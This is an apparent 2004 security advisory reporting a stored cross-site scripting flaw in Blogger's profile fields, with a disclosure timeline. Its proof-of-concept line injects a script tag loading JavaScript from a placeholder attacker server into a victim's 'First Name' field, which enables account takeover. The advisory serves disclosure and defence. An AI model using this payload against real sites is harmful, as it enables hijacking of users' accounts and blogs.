[UNIX] Blogger Cross Site Scripting Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 03/30/04

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Date: 30 Mar 2004 12:59:55 +0200

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      Blogger Cross Site Scripting Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.blogger.com> Blogger is a web-based tool that helps you
    publish to the web instantly -- whenever the urge strikes. Blogger is the
    leading tool in the rapidly growing area of web publishing known as
    weblogs, or "blogs."

    There is a cross site scripting vulnerability in Blogger due to incorrect
    HTML input validation.

    DETAILS

    There is no HTML filter when rendering user profiles. Allowing anyone to
    inject a script into a profile's "First Name" "Last Name" etc. If code is
    injected into the First Name field for example it will be visible in the
    user's first page.

    Proof of concept example
    Inject [script src="http://[ATTACKER-SERVER]/EVIL-JS/"][/script] to victim
    "First Name" and now it's possible to execute script code.

    After login as the victim some possibilities are available:

     * Change the password without needing the old one
     * Change the Email address without confirmation
     * Own the victim's blogs.

    Disclosure Timeline
    Discovered on 2/22/2004
    Vendor Informed on 2/25/2004
    Published on 3/26/2004

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:ferruh@mavituna.com> Ferruh
    Mavituna.

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